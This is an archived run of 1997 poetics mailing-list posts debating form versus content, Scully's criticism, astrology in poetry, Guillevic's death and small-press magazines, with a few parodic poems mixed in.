>urge practitioners to experience with their medium. Does close
>reading even garantee an argument? No longer - yet perhaps if you are
>reading the Metaphysicals, Chris. Thus it might be necessary in
>arguing for the "social practice of poetry" to not mention poetry
>at all. Of course arguing _alongside_ poetry, in paralogue as it
>were, does not garantee a better argument either - that is, a
>truly deep encounter with "social practice...." Apart from saying
>that, I may as well also state that for me there are so many
>unhelpful contradictions and connotations in the language of the
>quotation from Scully's book, that I think David Kellogg posted,

>I don't know where to even begin in pointing them out. Here's
>one, not necessarily the best: Is he for or against a
>"metahistorical source of illumination" for poetry? From his own
>disparaging language, I would say definitely not. Yet I can't
>figure out from the quotation how he proposes that "shared
>understanding" would occur elsewise. Share my cropper.

Again, I guess I'm lost. Of course he's not for such a "metahistorical source of illumination." The point of invoking such a source in order to dismiss it, in my reading, is to qualify his own pronouncements as both provisional and presumptuous, in other words to press up against the limits of the sayable within the discourse of talk (writing) about poetry. The contradictions are in the field itself before they're in Scully's intervention -- not to say they're _not_ in his interventions, which is precisely his point.

Perhaps I blurbed his book too highly. I came across it when I was particularly distressed by the numbingly repeated gestures of most poetry criticism; Scully's book, for me, avoided these gestures, and thus was (and is) a positive event.

Cheers,
David
~~~
~~~

The book was printed up
The words all ran together
The pages black with ink
So the faux po►s used invisible stink

It was a fluke that you were inside of the coffin as they swung it upon their shoulders
Wasn►t it a real nice graveride?
You►re finally inside in (inside)
Real nice graveride riptide....

Woho the death of poetry
Mercifully fast
Only lasted a millenium of two
The art of the past

No mo po
get down to bisness
Po►s no show
Good riddance

The view was dark/hark/lark/bark/park
The time was passing slo/ e motion
The day was calm and a foggy, cool and a balmy, April is the cruelest/coolest

The creeps were creeping out
Shouting eulogymissiles in the street
The word's worth opposite beat
The drummer►s melodizing feet

Typewriters on parade
Walt►n►Emily rolling grave
Nothing left save to save
The Death of Poetry

It was a computer thing
A neuter thing
Belligerent knucklehead
Brat art teeth shred
Flesh word battery nozzle
Fair skin carousal
Itchy mean grouse kiss
Whatta life death is
The Death of Poetry

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566. **henry gould**
Re: The Death of Poetry
Thu 20 Mar 1997

The Dearth of Poetry

Man & a seashell
up out of bat hell -
was human nature
a double feature?
Have a future?
Nature or Nurture?

Shakespeare a big fish
he made a mish-mash
call it "trod culture"
- neurotic vulture
had his ideology
made no apology

Make a better fry
invent a new pie
use our own mix
call it Edge Poetix
debunk the old slag
corroded lang-wag

Huffa puff po
2000 leagues below
Atlantis deep well
she sell a seashell
almost unnatural
(poesie after all)

(--you win, Nyupoman)

↑ Index

567. **David Israel**
for Blarnes scholiasts & such
Thu 20 Mar 1997

Henry et alia,

this just in.... (msg. attached)

best, d.i.

p.s.: further anent Robbie Basho, might interest: I personally typed up his unpublished (& alas, now poss. lost) MS entitled *The Divan of Sky Bull*. Robbie complained (mildly) that I tinkered w/ his syntax (or poss. diction), shifting the poems in (what he viewed as) China-influenced directions. But I dare say he seemed pleased withal. His anthemic "Bury My Heart at Wonded Knee" still rings in my ears (not in the *Divan*, which was poetry proper rather than song-lyrics; rather, was on an album called [something or other?] Eagle . . . details fade; blue cover).

1.8c) with spool id 18322 for [redacted]; Thu, 20 Mar 1997
17:16:34 -0500
Thu, 20 Mar 1997 14:06:54 -0800 (PST)
14:06:54 PST

Date: Thu, 20 Mar 1997 14:06:54 -0800
From: Wounded-dog Ken Meherdas Littlebear Ninety
<[redacted]>
Subject: Ram Dass web site
To: [redacted]

Up dated health news plus previous info and some fun grafics can be found on the three Ram Dass home pages beginning at http://www.geocities.com/westhollywood/heights/1143/ramdas.html Hey folks that's what serch engines are for:-) (this from alta vista)

Get Your *Web-Based* Free Email at http://www.hotmail.com

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568. **amato**
The Death of Poetry
Thu 20 Mar 1997

(yet the thread... poof!

↑ Index

569. **David Israel**
p.s. re: Ram Dass
Thu 20 Mar 1997

pardon, but a URL correction hath been pointed out:

~~~
~~~

>>> Wounded-dog Ken Meherdas Littlebear Ninety
<[redacted]> 03/20/97 05:27pm >>>
that should be
http://www.geocities.com/westhollywood/heights/1143/ramdass.html
sorry!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[chap could add an r to corection too, but not all so crucial]
(shouldn't wish to proffer inauthentic info / pseudo-URLs,
ergo this addendum) d.i.
1.8c) with spool id 18322 for [redacted]; Thu, 20 Mar 1997
17:16:34 -0500
Thu, 20 Mar 1997 14:06:54 -0800 (PST)
14:06:54 PST
Date: Thu, 20 Mar 1997 14:06:54 -0800
From: Wounded-dog Ken Meherdas Littlebear Ninety
<[redacted]>
Subject: Ram Dass web site
To: [redacted]

Up dated health news plus previous info and some fun grafics can be found on the three Ram Dass home pages beginning at
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Get Your *Web-Based* Free Email at http://www.hotmail.com

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570. **Stephen Cope**
Re: Astrology poetics/music
Thu 20 Mar 1997

Trane was very much involved w/ astrology. Bill Cole makes a point about this, if I remember correctly, in his biography. Look into Braxton as well. Graham Lock's book _Forces in Motion_ gives an overview of Braxton's chart...

On angelology (but not astrology): there is of course Henri Corbin, whose work has been applied and/or alluded to by Olson, Duncan, Clarke, and Mackey (among many others I'm sure).

In brief,

Stephen Cope
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

> *Ira -- listening right now to John Coltrane's INTERSTELLAR SPACE THE 6*
> *CUTS OF WHICH ARE TITLED: 1. MARS 2. LEO 3.VENUS 4. JUPITER VARIATION*
> *5*
> *JUPITER 6. SATURN -- the music (Coltrane on tenor & bells, Rashied Ali*
> *on drums) is instellar, the space, according to the titles, however*
> *sub-solar. Trane's last recording. -- Pierre*
> *==========*
> *pierre joris 6 madison place albany ny 12202*
> *tel/fax [redacted] email:[redacted]*
> *http://www.albany.edu/~joris/*
> *---*
> *Everything that allows men to become rooted, through*
> *values or sentiments, in _one_ time, in _one_ history, in*
> *_one_ language, is the principle of alienation which*
> *constitutes man as privileged in so far as he is what he is,*
> *[...] imprisoning him in contentment with his own reality*
> *and encouraging him to offer it as an example or impose*
> *it as a conquering assertion. -- Maurice Blanchot*
> *==========*

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571. P.Standard Schaefer

LA Magazines

Thu 20 Mar 1997

Just wanted to call everyone's attention to two interesting magazines coming out of Los Angeles. The older more established one is Ribot (ree-boe) edited/published by Paul Vangelisti. The sixth issue has a "history" as a theme. A corresponding conference will be held on the island of Catalina in May. Guests will include Ray DiPalma, Douglas Messerli, Dennis Phillips, Kevin Young, and others. The second magazine is called Rhizome and it was started by some younger people, myself included, in order to facilitate a conversation between east coast and west coast writers. Writers included are Cole Swenson, Mac Wellman, Charles Bernstein, Juliana Spahr, Martine Bellen, Martha Ronk, Spencer Selby, Paul Vangelisti, and many others. It is available for $10.00. Checks should be written to Standard Schaefer. 366 S.Mentor Ave. #108, Pasadena, CA 91106. It will also be distributed by Small Press Distributors, Fine Print, Berhard DeBoers in short time. Submissions will accepted through July. Rhizome also carries reviews and should be queried if anyone would like to submit one of those.

Thanks for your time.

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572. **Louis Cabri**
Re: far reader
Fri 21 Mar 1997

I realize only now, David, that I left out one important word in my account--and I have disserviced Mittenthal's critique as a result: Scully does not directly write of _living_ poets (except thirdhand of two besides himself). I would likely not have overlooked this had I a copy of Scully's book at hand--which I don't. Robert Mittenthal says:

> The only reference to living North American writers (save Scully's discussion of his own work) comes to us third hand via an article in the _New York Times Book Review_, by Michael Davidson, which briefly contrasts two paragraphs from Robert Bly and Bob Perelman. That Scully discounts both these writers' works as symptomatic of bourgeois ideology without referring to more than two decontextualized paragraphs in Davidson's article is indicative of just how (in Scully's words) "little curiosity many poets have regarding their own language" (p. 73 [_Line Break_]). In eight essays, two of which are not about poetry at all, Scully tries to make a case for a poetry that would communicate (i.e., convert or commit us to) his political ideals. This idealized poetry, instead of physically embodyting language, would use it as if it had no physical presence.... (_Writing_ 25, p. 87)

That is: as if language has no physical--in the sense of living-- presence. And yet (this is Mittenthal's point, I think) Scully argues for a social practice (of commitment, for/by poetry). It's undoubtfully important to remember that Scully is writing in the 1980s, as is Mittenthal, almost. In a way, Mittenthal's review neatly summarizes Language Writing doxa, and thereby also the larger debate of how the politics of language in the 1980s seemed, for some, to be divided into (not surprisingly) two camps, on one side intralanguage-oriented, and on the other extralanguage-oriented views on politics and the political--Mitttenthal and Scully, respectively. Together with some others including Maria Damon I think you have, in your response to Marjorie Perloff's last post (the one that proposes to narrate a history of the "rise" of a representational politics of poetries) you have alluded to the concept of the field itself in which these two camps lay (in which I have M and S as allegorical figure-generals), and to, therefore, the existence of other camps, which were overlooked, elided by these two camps. But it is precisely the field itself--that is, equal to the field itself--that was in contestation by these two camps. No better proof of how bitter and divisive this contest was, I think, than Erica Hunt's essay in _The Politics of

Poetic Form_. That moment, historical, of equivalency to the field itself, has passed, as Steve Evans knows, or is at least no longer recognizable in those terms today, I think. And so now the field looks larger, or large, or horizontal (when before it all seemed verticle and oppressive) and is, besides, changing. Gosh! Where was I...? What about others' views on this history? Meanwhile--or, elsewhere--_Mirage_, in San Francisco, ed. Kevin Killlian, puts out a special on John Wieners in 1985. Some of it is in tension with a getting-ready-to-have-been-"dominant"-subordinate poetics:

> Dear John [Wieners, presumably],
> I'm so tired of being serious now tho the 80s writing scene increasingly demands it. And where's all my fancy French crit vocab gotten me? Into _Poetics Journal_? Fat chance! (Steve Abbott, "Wienerschnitzel," _Mirage_ p. 7)

In any event I will photocopy Mittenthal's review for you, if your library doesn't have _Writing_ 25 (1990)--this is to anyone, I guess.

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573. **Marjorie Perloff**

Re: Form/Content again

Fri 21 Mar 1997

Well, today's postings are so intresting so I think I'll throw in a word or two after a week or so of being too tired to respond to all the deeply disturbing allegations etc.

I've been reading the various new books on Duchamp (the bio by Calvin Tompkins only so-so, but I recommend strongly Jerrold Siegel's new book--a kind of psychobiography that really says new things about the work. It's called THE PRIVATE WORLDS OF MARCEL DUCHAMP (California, 1996). Anyway, Duchamp, who is hardly a "formalist" has in fact an incredible sense of "form" in that the how always surpasses the what--in fact there is no "what." Take, for instance, the care D took to have the urinal photographed by Stieglitz in front of the Mardsen Hartley painting so that the inverted "fountain" matches the shape in Hartley with the Buddha. It's so brilliant and that's how we almost always see "Fountain." So what is "content" here outside form?

In contrast--and here comes content--I'm reading with sick fascination the recently published (thus far only in German) diaries by Victor Klemperer, 1933-45, a best-seller in Germany and reviewed recently in TLS. Klemperer was one of the few Jewish intellectuals (maybe the only one) who stayed in Germany--Dresden, where he was a French prof--throughout the whole Nazi time and his diary, begun the day Hitler became Chancellor and Klemperer sees exactly what goes on day by day as all his friends are fired and stores are shut down

and the most vile stuff goes on and yet, for complex set of reasons doesn't try to leave. I shall have nightmares about these diaries no doubt. They are very well written. But I would never read them a second time because there would be no point--I'm absorbing the content. Wheras, as the man said, Poetry is news that stays news."

I know--there's no hard and fast contrast between art and non-art but that, to me, is the difference between poetry and, say, these Klemperer diaries. Poetry is what must be reread--can only be reread. And by that criterion, a lot that passes for "poetry" at the moment just isn't. It's absorbable in a linear way. Five years from now no one will give a damn. And so I don't think we need be so generous that we say, oh great, I love it all! Let's reach out--and all that bla bla. But "form" can never just mean stanza form or generative device. Generative devices can be brilliantly used as in Oulipo, Sorrentino, Silliman, Hejinian, etc etc. but per se no device is either good or bad.

Marjorie Perloff

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574. William Burmeister Prod
Re: Against Wisdom as Such
Fri 21 Mar 1997

Aaron writes:

> *More troubling for us, however, was the question of what this thing called belief has to do with poetry. ("If you don't believe in a god, don't quote him"). Doesn't the very idea betray the principle of dictation?*

I don't know. What about dictation as inspiration?

&
> Also troubling was the question of distinguishing the mythological
> from the non-mythological within a poem. Why point to the presence
> of "Zeus" as a problem while "house" remains an understood
> commonplace, readily assimilated into a readerly unpacking. Is
> there a clear basis for making the distinction without reverting to
> some form of scientism ("that which is non-cognitive does not exist")?

I agree that reverting to some form of scientism is not the answer, not in poetry. Outside of poetry, rational-scientific-critical thinking has already killed the god. Inside of poetry, (it's too dark to read) that has always been something to be contained so that it's not so terrifying. As for a "house" (or other thingy for that matter), I hope it never becomes "understood, commonplace, readily assimilated into a readerly unpacking." I don't need poetry to tell me that! No; "make

it strange" for me. A search for that unknown something in everyday experience but cannot be merely pointed to or described without being altered or diminished. Lyn Hejinian does this so well when she writes as she thinks and feels. The meditational needn't be purely cognitive per se (perceived as a kind of scientism).

&
> there are only his own composed
> forms, and each one soley the issue of the time of the moment of its
> creation, not any ultimate except what he in his heat and that
> instant in its solidity yield.

> *Our seminar thought that Spicer's criticism of the arrogance of the poet extended to Olson because of the latter's insistence upon the MOMENT of writing, upon the primacy of the poet IN that moment, and hence the "usability" of anything which may enter the field-- including god, star, totem.*

Intense individualism without the freedom. The poet only the poet of a moment? The moment when you have your mojo working. But I don't think that Olson is advocating chance methods here.

Bill B.

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575. Pierre Joris
Guillevic
Fri 21 Mar 1997

Eugene Guillevic, the French or rather the Breton poet who wrote in French, died yesterday in Paris at the age of 89. A terse, sparse poetry that says more than it sings the objects of his scapes. In English there are two "Selected Poems" -- one, translated by Denise Levertov from New Direction (1969), the other translated by teo Savory from Penguin (1974). I don't know if either of them are still in print. -- Pierre

FACE

Country of rubble, country of brush -- rocks
Rasped by drought.

Earth
Like an inflamed throat
Calling for milk,
Woman without man, hill
Like a scaled antheap,

Earth without womb, music of brass:
Judge-face.

(translated by Teo Savary)

ETERNITY...

Eternity
never was lost.

What we did not know

was how to translate it into days,
skies, landscapes,

into words for others,
authentic gestures.

But holding on to it for ourselves,
that was not difficult,

and there were moments
when it seemed clear to us
we ourselves were eternity.

(translated by Denise Levertov)

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertion. -- Maurice Blanchot
==========

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576. **Jonathan A Levin**
Re: Form/Content again
Fri 21 Mar 1997

Marjorie--

Your point is well taken, and of course, we do read in this way--I don't store away my newspapers either. But this is of course not to say there is no form in these cases--only that as readers--and as readers (yourself, myself, others like us who would bother to follow these postings on a daily basis) who have developed an interest in form per se--we find it more interesting to read and write about and teach formally innovative (or, as I'd probably prefer to say, playful) works. There is as much form to the Klemperer diaries, I suspect, as there is to journalism, or text-book writing. These forms carry their own meanings (have their own ontologies), and are potentially as interesting as any other forms, depending, ultimately, on one's going interests and standards of evaluation.

We all know people (some of us may be them!) who will always prefer reading books and poems that don't foreground formal issues, who will dislike, say, The English Patient (the book) because it doesn't just tell its love story (I didn't know it was a love story till I finally saw the movie!). People surely have returned to all the great "realist" novelists--just to use one kind of example--despite the relative "bacgrounding" of formal issues. In other words, using the terms I so dislike, content-focus doesn't make a work of only passing interest, even as a work. It all depends on what the content is, how one chooses to frame it with other content issues, and so on. I remember an essay by D. A. Miller some time back in which he commented that he always reads Jane Austen novels when he is laid up sick in bed. Now I'm sure, with Miller, it is hard to disentangle form and content, but that's my point--just when you think you've isolated a content, you're left holding a form.

So: what about the Klemperer, or the newspaper, or the textbook? I suspect you could return to the Klemperer, if you were interested enough in it, if you were working on, say, diaries written by people undergoing traumatic experiences. You might find certain details, tics, interesting, so that the content is illuminated in unusual, interesting ways by the form. I don't think you're going to put it away forever because there is something essentially different about its formal ontology, only that you won't return to it because its particular formal ontology doesn't interest you enough. It's not a form/content distinction, but a difference between two varying form/content matrices.

My point is just that by keeping the boundary between content-works and form-works operative, we lose sight of the way in which writing that is "content-based" is also a formal (and I would add rhetorical, thinking of the old rhetoric/philosophy divide) construction.

Well, best regards, as ever,

Jonathan

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577. **Mark Prejsnar**
Re: force mouth content
Fri 21 Mar 1997

Actually, several posts have agreed with the general point Jonathan makes below; I agree with it too, for sure..

The nub, for me is in Jonathan's last line. I sort of thought most of us who get characterized in this way by others (i.e. as people doing "formally experimental" poetry) were rather strongly in agreement on this point: & that it was the worst end of reflective work-shop verse (as well as much neo-formalist verse) that proceeded on the basis of a sharp perceptible chasm between form and content...

Some of the hectic posts challenging form/content language, when I look back at it, were I think set off by folks who were talking about "form" as a way of addressing questions of technique; technique with regard to self-aware, nonmainstream writing..

Is there anyone on the list who actually wants to DEFEND the idea that form and content are seperate??

Mark P.

On Thu, 20 Mar 1997, Jonathan A Levin wrote:

> *I like Jordan't tag line, so keep it.*
>
> *etc. Form/Content is a product of the analysis wing of 18th century rationalism. (Frankly, I don't know if I have my history right here: I'm shooting from the hip, but I've been trying to understand the larger contexts of organicism, in order to understand the larger contexts of contemporary holism/ecology metaphors.)*
>
> *Here's where I'm heading: from an organic point of view, or from the modified organicism that now passes as holism, form is necessarily an expression of content and content is necessarily a manifestation of form. They can't be teased apart. And the effort to keep talking in that language can only reflect our continued abasement before the gods of enlightenment analysis.*
>
> *I'm still thinking about the practical implications for poetry and "formal" "experiment." "!" This could take a long time.*
>
> *Jonathan Levin*

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578. **Ira Lightman**

Astrology poetics post structuralism

Fri 21 Mar 1997

Thanks everyone for a reading list I'm going to chase up in all its details!

My own interest in astrology is a) I seem to be able to guess people's sun, and often moon, signs in up to 3 guesses so there's something in it for me. Plus, I trawl around horoscope columns, and those that seem to match up somewhat with my day (as a sun sign Aries), I go back to, and use as another of those correctives to self and ego: "I thought the meaning of my day was this, but look at it this way too...". *Not* as what *rules* my life, though. The more I look into the various columns (in newspapers, in the gay press, in Cosmopolitan etc), the more I see how it's an act of using metaphor to interpret, through topological assumptions, data held in common (i.e. conjunctions of the planets each day), and I find that fascinating. One column will interpret the influence of a water moon on a fire sign as drowning it, another as allowing it emotional space etc, depending on a kind of "chicken and the egg", "what's the ground of your being" analysis; which is also the root of metaphor; refraction through which one can "return" to what's "really" indicated. My take is more all things are a-flowing, sage Heraclitus says, though even that is too much "grounded" in one ideal state: water, not air, not fire, not earth.

I also find the fact that I can guess people quite well indicates (to me) that, like Lacan and Derrida might say, we're genres, with a rising sign genre and moon sign genre grafted onto our sun sign genres. Astrology gives me one way to articulate too my reservation about Lacan (which I think is Derrida's too): that even if the unconscious is structured like a language, that doesn't mean it's rewriteable like computer language; the self is genre collision, from personal and cultural histories, and the chemistry in one from them.

Does that interest anyone (or answer Spicer?)

Ira

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579. **Jordan Davis**
Re: force mouth content
Fri 21 Mar 1997

At 11:45 AM 3/21/97, Mark Prejsnar wrote:
>Is there anyone on the list who actually wants to DEFEND the idea that
>form and content are seperate??

And I would like to say 'hi'. I would like to defend the idea that 'form' and 'content' are not categories worth defending at this point -- since we see no useful distinction, or rather since we see no isolable quality of one or the other category, why keep talking about them? Why not try and develop a vocabulary we can think of as valid? Sure, people will think it's odd when they hear us referring to a 'querzblatz' poetics from time to time. Stendhal flipped out at the beginning of _Love_ when he had to introduce the concept of 'crystalization' of affection.

The Joe Brainard show at Tibor de Nagy (nazh -- 724 Fifth Ave, btw 56 & 57). Nancies, portraits, cut-paper works, collages, bead sculptures, paintings on plastic, Porteresque landscapes with dog, catalog with foreword by John Ashbery and essay by Robert Rosenblum. Wow, wow, wow. My particular favorite was "Portrait of Pat, 1971", but "Whippoorwill's World" was the one I laughed at the hardest. I tried to describe some of the cut-paper tall-grasses-and-flowers works to people, but it came out wrong.

All best,
Jordan

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580. **Dale Smith**
Re: Form/Content again
Fri 21 Mar 1997

Ms. Perloff's example of Duchamp is to the point regarding form. Formal composition shapes what Adorno calls the mimetic impulse. Form squeezes out the extraneous elements of creative impulse, thus producing content and giving it the most expedient vehicle of expression. For me, art exhibits a unison of form and content. Form directs, helping content become what it needs to become during the creative act. Duchamp's Fountain is a good example. Like the Shakespeare of Sonnets, Duchamp clearly understood how form determines an economy of expression in art works.

Ms. Perloff is also right when she says that "a lot that passes for 'poetry' at the moment just isn't." Formal experiments can sometimes lead to wonderful art. But without the value content provides, strictly formal experiments provide very little usable substance. Moral conflict, humor, and conflicting human emotional exchanges--found in artists like Tolstoy or Jack Kerouac--are value-laden elements content provides. Form shapes these into compact, expressive art. Too much that is written by contemporary poets denies the power form can provide. Often poets allow form to exist in itself without the complication of aesthetically valuable content, which is focused and expresses something of that original impulse which urges the poet to create in the first place.

Dale Smith

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581. **Joe Safdie**

Re: Astrology poetics post structuralism

Fri 21 Mar 1997

I know Ira originally called for 20th century astrological poetics, but it seems to me that if one is serious about this practice (more than just casual sun sign questions or newspaper column borrowings) we do in fact have to go back to those thrilling days of yesteryear -- which may also shed a little light on medieval language theory. What exactly WAS Spicer talking about with "snark hunting"? To wit:

"Astrology dominated all the natural sciences in the Middle Ages and Renaissance, and even the Church (!) had to compromise with superstition. Pagan gods and heroes became identified with the astral divinities that ruled the cosmos; to this deification of the natural world was added the doctrine of number. Number was the key to _scientia universalis_, and numerical 'correspondences' between things of every class -- seven metals, seven planets, seven virtues, seven sins, seven gifts of the Holy Spirit, seven joys of Mary, seven liberal arts, and so on -- were supplemented by the idea of melothesia, the correspondence of the microcosm and macrocoms, especially the planets. The theory of numerical correspondences was also part and parcel of the Neopythagorean and Neoplatonic philosophies, both of which flourished at the beginning of the Middle Ages, and taught that the universe is made according to geometric forms, abstract relations, and proportions which can be expressed numerically. Each of these proportions corresponded to a musical interval, and altogether, therefore, the universe is a harmony. This idea was usually expressed in the image of the music of the spheres, but all things, not only the spheres, harmonize (or ought to) with everything else. The soul of man was a harmony -- this Platonic idea is familiar -- and so is his body. Moreover, both body and soul are a harmony

corresponding to the cosmic harmony . . . the cosmos is a 'book,' whose symbols, which must be 'read,' are made of plant fibres, starlight, fur and feathers." (Patricia Vicari, "Orpheus Among the Christians," in _Orpheus: Metamorphoses of a Myth, ed. John Warden, U. of Toronto).

I love that last sentence best -- but one can see Trane, I think, here -- as well as Giordano Bruno and Frances Yates and all the Warburg Institute folks -- in Robert Kelly's "The Loom" (asked about two weeks ago) Ramon Lull is one of the major personae --

Walter Benjamin also has some provocative things to say about correspondences in his Baudelaire essay as well as an earlier one on mimesis --

"A seminar on mythos" -- god, do you realize how lucky you people are? Is there any distance learning coming out of this seminar?

Sorry for darkening so much of your computer screens this morning . . .

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582. George Bowering

Re: Contraries/I will not rest from Mental Fight, etc.

Fri 21 Mar 1997

> *Form might be very popular now, might have been very popular for the modernists, but I'm not so sure that "one loves _only_ form" would apply to much eng. poetry before 1900.*

I think you might read Olson a little closer, tighter. more literally. I mean he is saying that it is form that makes us love. It is unlikely, for instance, that one will love the content of a person--intestines, bones, shit, etc. One notices her or him make a certain move, sees a light on her/his face, hears her/his voice say things in a certain way, and love starts up again. Similarly, for instance, with a sculpture by Rodin. One doesnt particularly love the chemical makeup of bronze, but loves the way it shines, or the way it is molded. How about the Grecian Urn? Does one love clay? Probably not. More likely the shape left by the hands of the sylvan historian.

Remember this song: "The way you sip your tea, the way you wear your hat...." etc.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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583. **Bob Grotjohn**
Re: Form/Content again
Fri 21 Mar 1997

Dale Smith wrote:
>
>
> form determines an economy of expression in art works.

> *into compact, expressive art.*

What do people think about these statements as statements of aesthetic value? To what extent is "expressive" contingent on "compact" (if I am reading the implication correctly, or even if I am not)? How well does Kerouac fit the statements?

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584. **Wendy Battin**
Re: Astrology/post structuralism/Forum & conTent
Fri 21 Mar 1997

This is a nice post to put next to the form/content thread. What does it mean to define form in terms of what makes us love? One indeterminate chasing another. This isn't algebra and I don't want it to be, but to make a charged statement in context into a formula out of context is tricky. It makes me want to say that anything that sparks my love is form, and that's too easy. How is form/content distinguished from mind/body? You think you think when the chemistry goes dead and the body doesn't move (e-motion)?

I suspect metaphor is lurking in the wings here, and that there's a critique of metaphor implicit in these converging threads. I stand by it, myself, since all my experience tells me that the real work doesn't happen in the narrow band of consciousness. But I'd be grateful to anyone who'd fill me in on the other side of this large unsaid.

Wendy

On Fri, 21 Mar 1997, Joe Safdie wrote:

> *"Astrology dominated all the natural sciences in the Middle Ages and Renaissance, and even the Church (!) had to compromise with superstition. Pagan gods and heroes became identified with the astral divinities that ruled the cosmos; to this deification of the natural world was added the*

> *doctrine of number. Number was the key to _scientia universalis_, and numerical 'correspondences' between things of every class -- seven metals, seven planets, seven virtues, seven sins, seven gifts of the Holy Spirit, seven joys of Mary, seven liberal arts, and so on -- were supplemented by the idea of melothesia, the correspondence of the microcosm and macrocoms, especially the planets. The theory of numerical correspondences was also part and parcel of the Neopythagorean and Neoplatonic philosophies, both of which flourished at the beginning of the Middle Ages, and taught that the universe is made according to geometric forms, abstract relations, and proportions which can be expressed numerically. Each of these proportions corresponded to a musical interval, and altogether, therefore, the universe is a harmony. This idea was usually expressed in the image of the music of the spheres, but all things, not only the spheres, harmonize (or ought to) with everything else. The soul of man was a harmony -- this Platonic idea is familiar -- and so is his body. Moreover, both body and soul are a harmony corresponding to the cosmic harmony . . . the cosmos is a 'book,' whose symbols, which must be 'read,' are made of plant fibres, starlight, fur and feathers." (Patricia Vicari, "Orpheus Among the Christians," in _Orpheus: Metamorphoses of a Myth, ed. John Warden, U. of Toronto).*
>
> *I love that last sentence best -- but one can see Trane, I think, here -- as well as Giordano Bruno and Frances Yates and all the Warburg Institute folks -- in Robert Kelly's "The Loom" (asked about two weeks ago) Ramon Lull is one of the major personae --*
>
> *Walter Benjamin also has some provocative things to say about correspondences in his Baudelaire essay as well as an earlier one on mimesis --*
>
> *"A seminar on mythos" -- god, do you realize how lucky you people are? Is there any distance learning coming out of this seminar?*
>
> *Sorry for darkening so much of your computer screens this morning . . .*

---------- Wendy Battin (home)
http://camel.conncoll.edu/ccother/wjbat/ (CAPA)
http://shain.lib.conncoll.edu/CAPA/capa.html (Multiple Poetics)
http://www.geocities.com/SoHo/Lofts/5471/index.html

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585. **Hugh Steinberg**
Re: Astrology poetics post structuralism
Sat 22 Mar 1997

I hope you don't take it that seriously. I had a friend who used to write the astrology column for the Boston Globe, and although she had a rough guideline for the various signs, she basically made everything up.

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586. **Elizabeth Mathews Losh**
Form/Genre
Sat 22 Mar 1997

Hi All.

I tend to think that talking about the fundamental abstractions of poetry is too theological for me. I'm hardly a literalist, but all this seems too dependent on things that I can't see or hear, like worrying about whether God can make a rock too heavy for Him to lift. In other words, I don't think that poetry can be experienced as a suprasensuous entity without ceasing to be poetry.

That said, I also think that the whole form/content dichotomy is much less interesting than the interplay between form and genre. For example you have things like the ODE that began in English as something defined by its form and ended up as a genre (after the Romantics were through with it!) or things like the VILLANELLE that began as a genre (defined by its pastoral subject) and ended up as a form (oh, those French!).

Maybe I'm too oriented toward the reader-response approach to poetry and not enough oriented toward aesthetics (and all the metaphysics that goes along with it), but form vs. content just doesn't do it for me. I tend to think that content is something to be consumed and that language which is consumed isn't poetry. After all, Bataille said that poetry is language which is consumed (in the sense of used up), but Heidegger said that poetry is language which is never consumed (in the sense of something used as a commodity).

To use an example that keeps coming up, l am much more interested in thinking about how something like the SONNET went through all these formal changes as it moved from its status so close to legal discourse (an entertainment for a bunch of Italian lawyers) to something via Petrarch in which its wordplay became much more about the conversation between self and other. Or to rip off an idea from _The Birth of the Modern Mind_ (not a book which I would necessarily endorse) what does it mean to talk about the form of the sonnet -- not just it's vertical and horizontal orientation on the visual page, but its AURAL symmetries and asymmetries -- when you are talking about a type of poetry which

assumed (for the first time since the Roman Empire) that it be read in SILENCE?

With all the "defense of form" nonsense of the past few years I can't help but think that a defense of genre could use more crusaders and mercenaries alike. I wonder how much of contemporary poetry which is attacked for its lack of form suffers much more from its lack of genre.

Liz

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587. **Elizabeth Mathews Losh**
Re: Form/Genre
Sat 22 Mar 1997

P.S.

As though you didn't need more proof that astrology was all made up, I now know, thanks to the poetics list, that I have the same birthday as Ezra Pound.

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588. **Toni Simon**
Re: Form/Genre
Sat 22 Mar 1997

Albeit admittedly one of your typical lurkers, I've been closey following this form/content thread, and, at the risk of beating a wobbling, if not a dead horse, I think the underlying issue here is one of boundaries. It is not form, per se, or content per se, that interests, confronts and so much and effects us poets, but the fact that we can't help but be astonished athow the boundaries between the two are becoming (sic)so blurred. It is also that we poets must study ways of comprehending the energies that so frequently seem to emit from suchsources, and learn to exploit these for our "special effects." Coming near to and being prone to such such energies often make many other folks feel disoriented and threatened (sometimes less obviously a lot of our own folk too,in part, occupational hazard, in part, a spontaneous obsessive inquisitiveness into the effects of certain unusual juxtapositions. The more content we see, the more we sometimes oddly get interested in what this tells us about the underlying forces, and the more we specify those, the more we turn back to the objects of this world within a revisualized and reconstitued set of forms. One question this brings forward for me is- within this reformulated relationship between form and content doesn't there also arise a parallel (if anxiety provoking) reformulation between otherwise clearcut disciplinel like poetry and criticism (two types of

professional activity) and, say, psychoanalysis and poetry, poetry and polical activity, writing poetry and and talking, writing poetry and teaching, etc.

Thanks Jordan Davis for mentioning the Joe Brainard show so vividly. I heard it mentioned last night at the Granary Books book art show where some wonderfully boundary-breaking work was on display from Kimberly Lyons and Joe Eppings sumptuous and metaphysically witty Mettle, a compilation of poems and images, to Susan Bee and Charles Bernstein's Little Orphan Anagram, a wise and wise-acre witty poem/painting tap-dance duet, a Kurt Schwitters round translated by Jerome Rothemberg with drawings by Barbara Fahrner, and Kin, a text by Ann Waldman with drawings by (shhh) Susan Rothenberg. Also heard mentioned were the Alice Neel show and the fantastic Hannah Hoch montages at the Modern.

Yours in blurs,

Nick Piombino

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589. Bennett M. Sm [Dimpson

Re: Form/Genre

Sat 22 Mar 1997

Elizabeth,

Where does Bataille say this? I've only read things in _Visions of Excess_ and in the _Encyclopedia Acephalica_ which tangentially speak of poetry (as such), but I'm very curious about this idea of poetry as "expenditure." Incidentally, R. Smithson says: "Poetry is always a dying language, but never a dead language." Which is, something becoming "used up," but never totally so.

On Fri, 21 Mar 1997, Elizabeth Mathews Losh wrote:

> *I tend to think that content is something to be consumed and that language which is consumed isn't poetry. After all, Bataille said that poetry is language which is consumed (in the sense of used up)*

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
